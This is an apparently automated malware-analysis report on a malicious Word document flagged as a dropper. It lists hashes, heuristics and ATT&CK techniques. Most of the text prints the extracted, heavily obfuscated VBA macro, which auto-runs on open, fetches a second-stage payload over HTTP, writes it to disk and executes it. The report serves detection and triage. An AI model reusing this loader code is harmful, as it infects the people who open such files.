Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd8d97a659b2f4e5…

MALICIOUS

Office (OLE)

172.5 KB Created: 2018-05-31 17:41:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: d1ca82da641dc6a8bd9db12fdf300884 SHA-1: ae41d523b8434f62a7973eed37df47502e35b5ce SHA-256: dd8d97a659b2f4e5e6ea0f539a42e934f33669a3a0fb16d882a81c6f556551f1
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing a heavily obfuscated VBA macro. The macro utilizes `CreateObject` and `ShellExecute` to download and execute a second-stage payload, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' and 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristics. The presence of the 'Document_Open' macro suggests an automatic execution upon opening the document.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            ADALNE = WAQTed.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set yzhvd = CreateObject(caNjHLf("WRSgcHrfiMpVtI.ySXhleXlLlV"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set yzhvd = CreateObject(caNjHLf("WRSgcHrfiMpVtI.ySXhleXlLlV"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 47889 bytes
SHA-256: 7c84f464a4caf073a0f6bf362659a07099bea173cf2be712aa725eb0b2357d0c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
514 of 764 identifiers look randomly generated (e.g. 'lKssnwivODlFAORWlrWllIcQVplGeBLCJZRhI') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function YvIQAt(bzNUghX As String, gjoDtT As Double, zXXbTY As Double) As String
    gMyVhFu = UCase("@FID[](as?[XNfat&")
    fxQlfiIw = Left("NBh%ezuqC@d?", 2)
    Ehhjuc = StrReverse("SzHMvDvZJb")
    gMyVhFu = Left(")_Sgj_ ozu", 3)
    EimFrCSk = UCase("AQJCA%x*y%ss_")
    jLlSzKDJ = RTrim("n&%xfVJ*syC&sFe")
    fxQlfiIw = StrReverse("FsmEUQQq[sKNSja?-cgj")
    KxNmNXz = Left("HztsUNDuLEy@LNj]^Kq", 3)
    HtbZGj = Left("aGuHplxRdweidVzy", 2)
    fxQlfiIw = LTrim("?ZhEXPsycBXewN#Aoy")
    gMyVhFu = Left("YG #cmAk-&Hh!vrp@UUx", 2)
    qqvweO = 900 + 746 + 886
    HtbZGj = Right("fBuzwr)dC[Pq))YkG", 2)
    Ehhjuc = Right("(GvjlavXztu", 5)
    mIXwITZl = Space(14)
    PzlQi = RTrim("P!NoQ W?GS-w$HyvS_")
    HtbZGj = Right("RBmkNd%evpM)H?X*R.H[", 2)
    jbGMsS = LTrim("iWA.pDUsAMsn^wgF.KXm")
    gMyVhFu = "JpajcArg&D" + "VYiBi$T!D@#Jb" + "nmywjVa?HgK"
    qqvweO = " DkkYLAOsU" + "feslI.Wthv]T#B^pJq" + "MIDpSQCnUqGy dmP"
    PzlQi = 1956 + 538 + 479
    EimFrCSk = StrReverse("UZF([[fKZsrG")
    EimFrCSk = LTrim("qc&[TqyC s@ ")
    qqvweO = Right("xb%(S] ]BV", 3)
    HtbZGj = 1329 + 1194 + 305
    gMyVhFu = 1439 - 1567 - 1207
    Ehhjuc = LTrim("r_DbL?XPWmL*Y)m")
    fxQlfiIw = RTrim("J)ZJN]b )ID$QzVRQ!")
    Ehhjuc = "vXzE-mJwkDjwP&oUlTd" + "Jgesor!DcvfB" + "B!@KSy@^AeJGz?S#P^"
    KxNmNXz = StrReverse("m_raay]PLn.P")
    mIXwITZl = StrReverse("ydQBL]SH$y!!W^")
    Ehhjuc = Right("^Oz_oq(Wtxm", 5)
    qqvweO = 1330 + 718 + 1465
    mIXwITZl = LTrim("Dif!)]pRWLoYe?!kR")
    qqvweO = 1950 + 455 + 486
    jbGMsS = UCase("KHjpIpevAkHU%qO")
    fxQlfiIw = "jD_ZUNsDTS" + "lLkt*Kufc#R@kCT." + "^fxKRH[qIX)wVOKD*)"
    YvIQAt = "lKssnwivODlFAORWlrWllIcQVplGeBLCJZRhI"
End Function

Private Function lYmbsY(yiIBPm As Boolean, RHItNS As Boolean, purvcKx As Double, PSdTts As Integer, XqwBqy As Double) As String
    mIXwITZl = Right("Cb(^)#Hfqd]b!BrOc", 2)
    HtbZGj = Right("wheUnjCyJc", 5)
    EimFrCSk = Left("PwXm$D_$uEX_iW(oER", 3)
    Ehhjuc = UCase("O)R$S@qT?Y")
    fxQlfiIw = Right("iOzebexCIoIiJ", 3)
    fxQlfiIw = 261 + 797 + 1546
    PzlQi = 1118 - 1450 - 1798
    While CrZQrZ < 127
        HtbZGj = LTrim("NXTQk.dt [h[eT]piFt")
        jbGMsS = "XHwExDFGtS?GiJtn" + "G-oUg$kuZKb.iF-Nng-k" + "ULbzsNQ^rPhVBOa"
        CrZQrZ = CrZQrZ + 1
    Wend

    HtbZGj = Left("Ajj)?WM!$M?ENre", 2)
    jbGMsS = UCase("(Lw!*eMk(w_tS")
    qqvweO = 1153 + 1383 + 493
    jbGMsS = Left("KBp@NDsVAl&gr-jbKS", 4)
    For jOkSAk = 0 To 28
        PzlQi = UCase("[Q.Al-!UoZGiE")
        jLlSzKDJ = Space(1)
        Ehhjuc = LTrim("jzL)Upzgvp$")
        fxQlfiIw = RTrim("WHMxplMipL")
        jbGMsS = Right("YvE^ptp[_TCt", 2)
    Next jOkSAk

    HtbZGj = UCase("[ZWAKDDchlQ")
    While BTvfDR < 24
        Ehhjuc = StrReverse("VqnC?M&Q-zTX#")
        HtbZGj = UCase(" @qLPY_BE_xR[mp[")
        EimFrCSk = "BM[RL]*BIB[KF*?T.&" + "zlWlq.JjloRj!ivwD" + "JD%I)bpj-H*k"
        qqvweO = Right("vsSB(iU.-*@w", 2)
        KxNmNXz = Space(20)
        KxNmNXz = RTrim("$sVRCUCWd&EAZ)um")
        Ehhjuc = RTrim("F OdH@^krsRb")
        BTvfDR = BTvfDR + 2
    Wend

    KxNmNXz = Right("lkCoru(?VApJMVR kxA", 4)
    EimFrCSk = Left("EDBJzb.[(E.hvUGs#.S", 3)
    PzlQi = StrReverse("$GLzkKx)?l%EAx")
    PzlQi = "AnZKF[O&Ymp" + "k-MJHTkmAVm-vfndugH" + "MMak-orFnzOm)O"
    fxQlfiIw = "njgSFIcf^!" + ")#.VUmaOirW^(Ug(wowo" + "jLen)*D)]vJ-kxBp"
    jbGMsS = Right("q&(p&@o)^@x)Iom", 4)
    jbGMsS = Space(13)
    jLlSzKDJ = "vW.iHXJ)J%wwLIs" + "M&_P$@tFQ H" + " %e%AK^KRA)lRK"
    mIXwITZl = StrReverse("rIw[pNhgnX)DF-jHHk")
    lYmbsY = "GvVexkEaakrnXgVGOhfRrbNI"
End Function

Private Sub CcuDCOr(lyjyPkh As String, khlGykY As String, RXFfXYV As String, iTWmPjC As String, cLxfTpY As String)
    PzlQi = LTrim("TT(YQV Nncrz?C&l")
    KxNmNXz = StrReverse("#[?ycqt%AaRcbNVM")
    mIXwITZl = Left("xz#m?-H(ZAn", 4)
    For MUJxsr = 0 To 101
        fxQlfiIw = Space(20)
        Ehhjuc = "N_yS)*.R@pZwxkd" + "blGdRZcgisizVvwbBk]" + "j%UW*_*Dy$_(FvB["
        qqvweO = UCase("rqHK-NjmEWjNQ")
        gMyVhFu = LTrim("#*hXMMtgXS$jG(bk]")
        HtbZGj = UCase("sPE%(Ljrfu-IOs X!d")
    Next MUJxsr
    While Hvxwxt < 213
        Ehhjuc = 842 + 492 + 877
        HtbZGj = "GJvzzDBB]sXz" + "yZ(*LDVenQQ" + "MS!^htqM?)[BAYYqF"
        Hvxwxt = Hvxwxt + 1
    Wend
    qqvweO = Space(6)
    Set yzhvd = CreateObject(caNjHLf("WRSgcHrfiMpVtI.ySXhleXlLlV"))
    yzhvd.Run lyjyPkh, 0
    mIXwITZl = StrReverse("-?nrC!dY%rEeexu!!YhT")
    gMyVhFu = 1751 + 107 + 168
    While MiluGK < 60
        jbGMsS = 794 - 1435 - 1812
        PzlQi = RTrim("aXfvz% thZDIu-kh")
        MiluGK = MiluGK + 1
    Wend
    jbGMsS = Left("Gk_NAkGBM?)TQG", 4)
    fxQlfiIw = UCase("mPpDShQIjRKmne-F ")
    mIXwITZl = RTrim("RzcNS%V*_u$e-xC^sp[")
    qqvweO = RTrim("J$]q@GBRQtieX")
    gMyVhFu = LTrim("lzQOB[gsF p")
    qqvweO = StrReverse("lTyH)PhxFmSC p(XB")
End Sub

Private Sub Document_Open()
    Dim ZWEcwPVQ As String
    HtbZGj = Left("PZ^CpY)y)iVjdg", 3)
    PzlQi = 1525 + 1012 + 1180
    For OYJTHE = 0 To 37
        mIXwITZl = "bs]W*oh]VBT)" + "%oAXfY[H()X" + "ZD)Ryf(LnqD@q.u"
        jbGMsS = Space(15)
        jbGMsS = 468 - 961 - 1126
        jLlSzKDJ = Right("zi%xFbMaLIOCWgCDXBP", 5)
        mIXwITZl = Left("W KZquM#n#", 3)
        PzlQi = Space(20)
        EimFrCSk = UCase("V$xF(ex@t#zCJ")
    Next OYJTHE

    While fGgBhW < 35
        HtbZGj = Left("wPhCIF]I]vEdg(", 4)
        mIXwITZl = Space(17)
        jLlSzKDJ = LTrim("DME*gE(jF^#aRuv%-co")
        Ehhjuc = 818 + 839 + 1849
        Ehhjuc = UCase("[Sd.!*?wyiW!dxE[")
        fxQlfiIw = Left(")T$v_LOVy-G%O**", 4)
        fGgBhW = fGgBhW + 2
    Wend

    qqvweO = StrReverse("b@B#).Oil&wgI[")
    gMyVhFu = Left("S?PvQkEVKr#TY", 4)
    Ehhjuc = StrReverse(".daxDx?#wX")
    PzlQi = RTrim("Apj)BjPFvQxU_k$$BLFd")
    While TtCDJH < 214
        KxNmNXz = LTrim(")ype.zyjgp_t")
        EimFrCSk = Space(16)
        mIXwITZl = 1627 + 1956 + 1932
        KxNmNXz = Left(".LfJ@stO%J*XkdEUS", 5)
        HtbZGj = RTrim("WRZfhswY_Q@bdK]j")
        Ehhjuc = 1150 - 1860 - 162
        TtCDJH = TtCDJH + 1
    Wend

    While qnBsQs < 196
        PzlQi = StrReverse("_?Z_tndqSFnXmw@c@Lay")
        fxQlfiIw = Left("*oxgGsl-wp.a*dsDS", 3)
        jLlSzKDJ = 906 + 710 + 1202
        KxNmNXz = Space(16)
        HtbZGj = RTrim("v^p*VdcG$b_")
        qnBsQs = qnBsQs + 3
    Wend

    Ehhjuc = Left(")xn_?$bb!VwG vmOeeO", 4)
    Set FufLUh = CreateObject(caNjHLf("sQcAryiVp^t.irnegC.gfwi]lIexslyis*tCejmEoXb&jNe*cBtw"))
    mIXwITZl = 297 + 1923 + 537
    For ZEcqpd = 0 To 48
        EimFrCSk = Left("bsyDVdnJz*-%F($oqfQ", 5)
        PzlQi = 1895 + 1941 + 1801
        gMyVhFu = Right("uY]gQ*Y^k!syA xHpi", 2)
    Next ZEcqpd

    Ehhjuc = UCase("%GTDzzrc$lb@")
    jbGMsS = "ih@%Y?jZUouSCCA" + "wPk.auija%hFq#Z" + "hBfZ-mzUblV*og_z^G "
    fxQlfiIw = 1712 - 1081 - 750
    PzlQi = 1475 - 1789 - 543
    mIXwITZl = LTrim("TLKnUA$P]pE^a[qzt")
    mIXwITZl = 693 - 1769 - 1395
    PzlQi = 1165 + 1575 + 872
    qqvweO = LTrim("^k&EntbzY#")
    While hmUvhH < 191
        Ehhjuc = Space(6)
        qqvweO = 469 - 245 - 809
        jLlSzKDJ = 1911 + 1098 + 720
        PzlQi = StrReverse("U@Q isc%RA!MK%&&ZG")
        HtbZGj = LTrim("%]faL$hgU#RUVt^r")
        mIXwITZl = 1710 - 1613 - 1119
        fxQlfiIw = RTrim("M)!aKgpCPB^TLcse")
        KxNmNXz = StrReverse("pST!_(GFCt")
        hmUvhH = hmUvhH + 2
    Wend

    YJZVdMat = FufLUh.GetSpecialFolder(1 + 1)
    While nHClDc < 385
        qqvweO = StrReverse("OVom$Ih(WzNET&$c")
        PzlQi = "MJ [)rfOMw?" + "^SxpldUP?KwFOUt" + "ekx@eVPlWOqiP"
        gMyVhFu = LTrim("xLf!a?z@UqI^Ez[Q#Ds")
        KxNmNXz = Right("gGNC!Z-Z(nKw", 3)
        jLlSzKDJ = Left("GWESvX_qi(aLpjSKHs", 4)
        EimFrCSk = Left("F#WICoSgwTz&rK)", 5)
        HtbZGj = 1775 - 1081 - 233
        fxQlfiIw = Left("j]vQnND.XPCja%xNm", 3)
        nHClDc = nHClDc + 3
    Wend

    Ehhjuc = Left("TJC$lYlXcpUhc", 3)
    KxNmNXz = 1970 + 1143 + 142
    KxNmNXz = "&YN&%u l&SIkN@SF" + "H[qpyBxczN" + "oS[q[wJ]s&$HN"
    While tkGLzI < 37
        KxNmNXz = Right("TokDlauAM*A Z", 5)
        EimFrCSk = Left("efWWtJFnY@lGoO$", 2)
        jbGMsS = LTrim("AA#fpxX&kJmsbv")
        KxNmNXz = UCase("WEzie@W ^ZN")
        jLlSzKDJ = Space(15)
        PzlQi = RTrim("iyuomrYxQjZQ#-Zkp a")
        tkGLzI = tkGLzI + 3
    Wend

    PzlQi = 302 + 1230 + 1458
    While HEwbkE < 190
        mIXwITZl = "UnEpxAG?up]?AoaQvbi" + "n[vqcNwhM.l" + "!)tUgMNxpw.yf"
        jbGMsS = Space(12)
        jbGMsS = 218 + 1120 + 1762
        fxQlfiIw = 1384 - 1863 - 1567
        HtbZGj = 182 - 513 - 1256
        jLlSzKDJ = LTrim("BU!gmld(u!z^qFE.")
        EimFrCSk = 155 + 273 + 362
        PzlQi = 1174 - 565 - 937
        HEwbkE = HEwbkE + 1
    Wend

    gMyVhFu = StrReverse("MqLkrqycMYo-")
    For JZAuNV = 0 To 164
        PzlQi = LTrim("E#&HuNdtO@@BIPhI")
        Ehhjuc = UCase("[-C]!i&_O@A.MQq")
        qqvweO = Left("n]t-[AekItCcRYHRl", 2)
        fxQlfiIw = 1987 - 1596 - 1982
        EimFrCSk = StrReverse(")^j*g)NN!FhG")
        fxQlfiIw = 1617 - 1472 - 1403
        Ehhjuc = 1315 - 1584 - 938
        jbGMsS = StrReverse("c[uII.cueYQeoi)]bP")
    Next JZAuNV

    mIXwITZl = LTrim("COuWeud ED")
    mIXwITZl = Right(" lKMLFwUt.", 2)
    ZWEcwPVQ = StrReverse("LeRxJey.JHlXTCWYIXGB")
    jbGMsS = Right("aQA^Lzr@pPbTa", 2)
    HtbZGj = StrReverse("ELGrdYWbICX")
    Ehhjuc = 1246 - 502 - 292
    HtbZGj = UCase("(M&iD[z@KA#zkB]r$Uc")
    While GYZFnt < 265
        mIXwITZl = Right("fMli[J? $aPgmn]a!oTr", 3)
        qqvweO = LTrim("-DzTsqcTPS")
        EimFrCSk = 322 + 240 + 1274
        qqvweO = 1868 + 653 + 1772
        fxQlfiIw = Right("F(w^ QjCZ.([[Bh", 4)
        jbGMsS = LTrim("-eX(NEv*Xk]sY")
        gMyVhFu = RTrim("fP@gMX@_CTIaQWWzS")
        HtbZGj = ".YxP]IIQi@" + "$GeB%j?EKr.D *l" + "xzyX?nW?sVvI*wfBWe*"
        GYZFnt = GYZFnt + 2
    Wend

    While NWZBDU < 146
        qqvweO = LTrim("#p#b.-soKd")
        KxNmNXz = RTrim("TTFMVwL#Qjlw]dk")
        mIXwITZl = StrReverse("sdNLjYjuBNR)sya")
        HtbZGj = Left("e&j?wtrHeKT", 4)
        HtbZGj = Space(13)
        NWZBDU = NWZBDU + 3
    Wend

    jbGMsS = LTrim("]ztZ%&oCWz")
    For YUSSJg = 0 To 117
        EimFrCSk = LTrim("v&pfujFv.WxWC.eo]")
        fxQlfiIw = RTrim("CYdcTzOWrQuzNP^g)mg#")
        gMyVhFu = Space(5)
        qqvweO = "%]S cB.IOmE_js[MtdV" + "&l^^C&(txOI RTANy$" + "QlFSsjU*IL(n"
        gMyVhFu = Right("shXZ-iD)RIR-", 5)
        PzlQi = Right("$h)nuFWqzYp_N[E", 4)
        fxQlfiIw = "OyZZMO]%FcSuQS_G&Lbj" + "eD@eSP@uN@X" + "gVNsANe_X@(%-T"
    Next YUSSJg

    jLlSzKDJ = 1211 - 380 - 1209
    HtbZGj = StrReverse("IczsaBl$WSCEJdB!")
    fxQlfiIw = 1437 - 1768 - 495
    jLlSzKDJ = 576 - 388 - 1555
    fxQlfiIw = Right("trgLHvopqHX$z", 5)
    Ehhjuc = 587 - 1136 - 1659
    PzlQi = Left("!)CRCn]XKP-j V!G[DHZ", 4)
    For EzuHPj = 0 To 15
        qqvweO = 156 + 1762 + 1683
        jLlSzKDJ = RTrim("pFu(x[[ru.LP#tVN?")
        gMyVhFu = Space(19)
        fxQlfiIw = UCase("b?TpISFWp?cNb^TuK!t")
    Next EzuHPj

    gMyVhFu = RTrim("_t^L*?sx[NC*O((t.ldG")
    While jubEsA < 32
        qqvweO = 339 - 806 - 1615
        KxNmNXz = UCase("jynQfKXSY%AOSR")
        PzlQi = Right("oHjj.UMnr!cpi", 2)
        gMyVhFu = UCase("uW.E(W(ybHv@M?")
        Ehhjuc = UCase("@sLvj_$SSj")
        jubEsA = jubEsA + 1
    Wend

    Ehhjuc = RTrim("Zu*oC*T_VYu(")
    jbGMsS = Right("v#vf#[%wLchWv%Hejj", 3)
    While TyPazD < 185
        mIXwITZl = RTrim("eSv[vZRVIhFIrELr")
        HtbZGj = 1025 + 1725 + 1806
        mIXwITZl = LTrim("-S$TgBGkgS$y(HGI")
        jbGMsS = Space(2)
        PzlQi = 1644 + 322 + 1550
        jbGMsS = LTrim("^c_X HYG#k&wsS)ztT")
        TyPazD = TyPazD + 2
    Wend

    For gnaUXM = 0 To 26
        PzlQi = "k$VJfNHk#yei" + "xPOoeM]QV[qdnPlL)" + "Gzz%WIy]a$L(d[[S*cpm"
        fxQlfiIw = Left("V#.xDddcYFLx^xS*&", 3)
        jbGMsS = UCase("P&Qhc*GGrrS]oS-M_uF")
    Next gnaUXM

    qqvweO = Right("c)NJqMwV-[Kn", 4)
    Ehhjuc = Left("s(?Y.VoO!m^oOtM-P[", 5)
    While QVetSP < 391
        PzlQi = Left("[E )hvKsvEdzyzoK", 5)
        KxNmNXz = Space(11)
        jLlSzKDJ = Left("b-]jnQo^taP", 2)
        PzlQi = Right("-GScsdOQ*]&uwH", 2)
        gMyVhFu = 1188 - 1358 - 144
        HtbZGj = LTrim("OnDJQq&?q%CcnU%J")
        jLlSzKDJ = LTrim("eYzyyeWsNX")
        KxNmNXz = LTrim("fLq z nhmw%d[x")
        fxQlfiIw = 1306 + 835 + 1881
        QVetSP = QVetSP + 3
    Wend

    mIXwITZl = Right("%&.qClDPIbhvgn", 3)
    gMyVhFu = Right("TzcB ^mTec-T", 4)
    gMyVhFu = Left("nXPaTfMR?i", 3)
    Dim WAQTed, ZpuTS As Object
    jbGMsS = LTrim("b?hWV(##f?Qao-Hzg_")
    While PZspXF < 338
        Ehhjuc = "MMa)zPZH.zQ" + "R__vhDjFBU" + "pzVBu%ZTs#W"
        Ehhjuc = Right("D%cPkeqcNtb^.heNq--", 4)
        fxQlfiIw = StrReverse("P_(&e)c[(NvKIcC.a[$d")
        KxNmNXz = Right("^B-aQ!XSgG", 3)
        jLlSzKDJ = 709 - 871 - 198
        fxQlfiIw = Right("m*mNpxHG&$", 2)
        KxNmNXz = UCase("ZJrMmcAPAd&q@r")
        mIXwITZl = RTrim("MCE*tQ^jMRf")
        jbGMsS = 601 - 1605 - 1740
        PZspXF = PZspXF + 2
    Wend

    PzlQi = StrReverse("#hUTPw& #eak")
    qqvweO = Right("!Mw(daiPd%", 2)
    HtbZGj = Left("^%XvcnlVUQwcmFt!_#", 2)
    Set WAQTed = CreateObject(caNjHLf("MhifcqrVovsLo#fStz.!XHMBLJHJTVTFP-"))
    gMyVhFu = StrReverse("ocmjp%HT.)_Q")
    KxNmNXz = LTrim("CewolSK#iozez-AL")
    jLlSzKDJ = RTrim("av!nfArwWpe[f_[VU")
    While AZdDLz < 92
        KxNmNXz = UCase("rdaAJ?Oj_gXgX#")
        fxQlfiIw = 913 + 1868 + 793
        AZdDLz = AZdDLz + 3
    Wend

    jLlSzKDJ = 180 + 874 + 615
    qZFDB = caNjHLf("hetOtUpj:H/i/$orpFh.tsaUvDieeawC.arfoo/Ehuo lYs^tg.WeixReP")
    For nDhOfR = 0 To 385
        gMyVhFu = 866 - 124 - 209
        qqvweO = RTrim("dBenWCo*FZThXbyQB)hv")
        jbGMsS = 280 + 1844 + 252
        Ehhjuc = LTrim("iAytr[[wMUV]HuP")
        qqvweO = UCase("KOf]HrCSt!oab")
        fxQlfiIw = Right("rp?gCNktegE[sruUYu&q", 4)
        EimFrCSk = Left("eTfFQRdKjFJuQINg", 3)
        Ehhjuc = LTrim("s_kON[wOU]dhCo")
        qqvweO = "rdRGu[Ft#Z#gfC[Zxp@" + "[A&a]qCHDXw)$" + "%LjK_(--MP"
    Next nDhOfR

    While feqiEf < 218
        fxQlfiIw = Right("wDBKFhVuHvZ", 3)
        HtbZGj = "o%Ng^iMy@ctybZwA%^" + "GXInj!n# AisiUY)(&q" + "*wBxjzL*Y@A%i"
        KxNmNXz = RTrim("es]#yc-o[^^qs[aAht")
        HtbZGj = "U]Nyow$ETH^XD" + "zKghI.TGmq]-Jj(etQMN" + "I^ StB?ieMMY"
        fxQlfiIw = RTrim("r]asG#U@Q@?VzhmkCjZz")
        Ehhjuc = Space(4)
        gMyVhFu = Space(15)
        KxNmNXz = Space(20)
        KxNmNXz = LTrim("IsGzCj?reATWqZq")
        HtbZGj = LTrim("wM_SgSg(D ")
        feqiEf = feqiEf + 2
    Wend

    KxNmNXz = Right("-tgqatLv JSrDQkfv", 3)
    jbGMsS = Space(19)
    WAQTed.Open "GET", qZFDB, False
    KxNmNXz = UCase("@DOnKTgNCa")
    EimFrCSk = Right("XXML%T-B[Qkp$_", 5)
    While ZBwIpt < 300
        fxQlfiIw = LTrim("vK-CQDpG_XF")
        gMyVhFu = RTrim("AhBJ(Oum%A[?X[At)yCS")
        jbGMsS = 865 + 149 + 1209
        HtbZGj = "xLLt^eNt?xYq" + "# G?wk%#fi-sO&#I&a" + "O]bYJWO GeIhzTsgq &k"
        KxNmNXz = LTrim("*rPclg*%*By@K")
        ZBwIpt = ZBwIpt + 2
    Wend

    While WahzRo < 262
        gMyVhFu = Right("WsDXgTBDLmF)H c", 5)
        jbGMsS = Space(15)
        jLlSzKDJ = Right("tWB^-Q![IBH E", 2)
        jLlSzKDJ = 733 - 109 - 879
        WahzRo = WahzRo + 2
    Wend

    WAQTed.send
    PzlQi = Space(19)
    KxNmNXz = Space(2)
    EimFrCSk = Left("Ev.ialBJlGOwXm_%bv", 2)
    EimFrCSk = UCase("x#p]IO%zn!hS")
    HtbZGj = Space(1)
    If WAQTed.Status = 201 - 1 Then
    qqvweO = 858 - 489 - 1359
    KxNmNXz = LTrim("qx@UUa^UbwIlopvS-li")
    While DHMOPL < 166
        jbGMsS = StrReverse("(dMZ.eo?%WlHAm")
        KxNmNXz = "edA.LS$qUJZXkFZ&i" + "R#$Acw?uClUz)?%dunU" + "G%cytUSN_lgm.N%E$s"
        DHMOPL = DHMOPL + 2
    Wend

    EimFrCSk = UCase("NiRREndzH*OY&k^WmdxQ")
    PzlQi = 1734 + 702 + 1960
    fxQlfiIw = Space(4)
        Set ZpuTS = CreateObject(caNjHLf("AqDjOCD(Bi.lSUtCr_eyaqmf"))
    fxQlfiIw = 1253 - 1197 - 1664
    For cFzjqr = 0 To 154
        KxNmNXz = Right("F[P[wINMd@", 2)
        mIXwITZl = LTrim("zR_-Zaoxz^a)$)wN$R")
        KxNmNXz = 333 - 372 - 1211
        qqvweO = UCase("fnb]*GtzPa)iRKFAR#w")
    Next cFzjqr

    fxQlfiIw = RTrim("WqwF@VCDY@-BVd-S!v")
    qqvweO = StrReverse("hEK@_@nlH FziexncN")
    qqvweO = Space(5)
    HtbZGj = 561 - 1974 - 357
    Ehhjuc = "!N]oU.S*?nG" + "sa?@[E#V-N*L" + "L]dS(BiGy&"
        ZpuTS.Open
    jLlSzKDJ = "LZaSg_hNQ*vKno" + "atxz%rYGLLg[x.-I" + "moT_A$xOCiTTW_OBV"
    While nWPZsC < 325
        qqvweO = Left("_[FHsSeEHOD", 2)
        jbGMsS = 1633 + 1470 + 411
        mIXwITZl = LTrim("Hbv#uvSXM(Yu]bsp")
        jbGMsS = RTrim("HT&XHijVza(.Ta(")
        nWPZsC = nWPZsC + 1
    Wend

    jLlSzKDJ = LTrim("I!A@*B-?$&cTRGU")
    For tGxJKE = 0 To 240
        mIXwITZl = UCase("!D)X]!MfGmBpr")
        jbGMsS = "gXS%kiKPx]ObRU." + "Lgc]cEm$VQs)spOHzm" + "P]ORUH..gGoSJJRIwR"
        gMyVhFu = LTrim("v.UEnWE]$vn.j$")
        gMyVhFu = Right("nYbYEpReoWn", 5)
        jLlSzKDJ = Left("nOUjlVpl[TW?QyMh", 5)
    Next tGxJKE

    EimFrCSk = 1260 - 1755 - 760
    qqvweO = RTrim("kPa.IRJLq^j")
        ZpuTS.Type = 1
    While DYTSXV < 224
        qqvweO = Right("sbbG%k&AFxE lGK", 4)
        EimFrCSk = Left("WjJpUK-!idO&ARrmxR.", 3)
        mIXwITZl = Right("N?- @Qm!elcNfJU-SuZ", 3)
        DYTSXV = DYTSXV + 1
    Wend

    For ytBhaz = 0 To 137
        gMyVhFu = Right("odeVHzrjexB^", 2)
        gMyVhFu = Space(20)
        PzlQi = StrReverse("mXU?SKbAvA")
        mIXwITZl = RTrim("?cFB#[#wDS")
        Ehhjuc = 101 - 1151 - 1077
    Next ytBhaz

    For mVfAYM = 0 To 34
        mIXwITZl = RTrim("*acqZ?D(eY?z]YuZshYG")
        Ehhjuc = Right("r kGe($t*kyYvA![!^", 3)
        PzlQi = Space(20)
    Next mVfAYM

    mIXwITZl = RTrim("-dM)#m&]IIhitg.-Qa")
    qqvweO = LTrim("^#Wqsh.v[@zFuXj$uA")
        ADALNE = WAQTed.responseBody
    KxNmNXz = "eKBkEKIwwJn" + "x]?&pTdq$oCN" + "AaILXFs!$^SCUZ"
    While hcbcZt < 48
        Ehhjuc = "pGw@*ivl_ErK.@*kg" + "HhvlE%ytQ." + "ugc__$OeZCU[ZT"
        HtbZGj = LTrim("$fTD@CEiSWZk")
        jLlSzKDJ = Right(".AU]AWMHUgmvTBLfXmp", 2)
        KxNmNXz = RTrim("vb^T$zf )wIgOgxB")
        Ehhjuc = Right("!)CodNFOwM%CVSjjwBi", 4)
        qqvweO = 1761 - 465 - 662
        Ehhjuc = Right("AED#)(?fRq_J^S", 2)
        gMyVhFu = "ACcujV)*S]N" + "dK K.[oI-e?k-lxn" + "-&N_R& VeD!.w"
        hcbcZt = hcbcZt + 1
    Wend

    While DEJPsr < 64
        PzlQi = StrReverse("C^nJDLjeK]wjTsI")
        HtbZGj = 1678 + 1139 + 1486
        mIXwITZl = Right("DJhEhGR&?JVpO", 5)
        fxQlfiIw = UCase("D?i*vRtgU&wObB_MNL")
        DEJPsr = DEJPsr + 1
    Wend

    gMyVhFu = RTrim("h&eViJlhSoGS(a(kD@s?")
        ZpuTS.Write ADALNE
    gMyVhFu = "I@PaZPVm (a" + "nV.Nt_jD_x" + "Ks!dX.HV%Hz"
    While XPIYLM < 310
        qqvweO = UCase("$$h[#BTlCwj#uO ^ .k(")
        KxNmNXz = RTrim("FZmFh.^%H(")
        gMyVhFu = UCase("yQ$^Rj DRahXfoI%")
        Ehhjuc = LTrim("#jGJW-xKyHJWgnjKTuF")
        gMyVhFu = StrReverse("u]LogPrw*#e&")
        KxNmNXz = 193 + 833 + 1162
        KxNmNXz = StrReverse("Abvt)XXajYfC@O(Le")
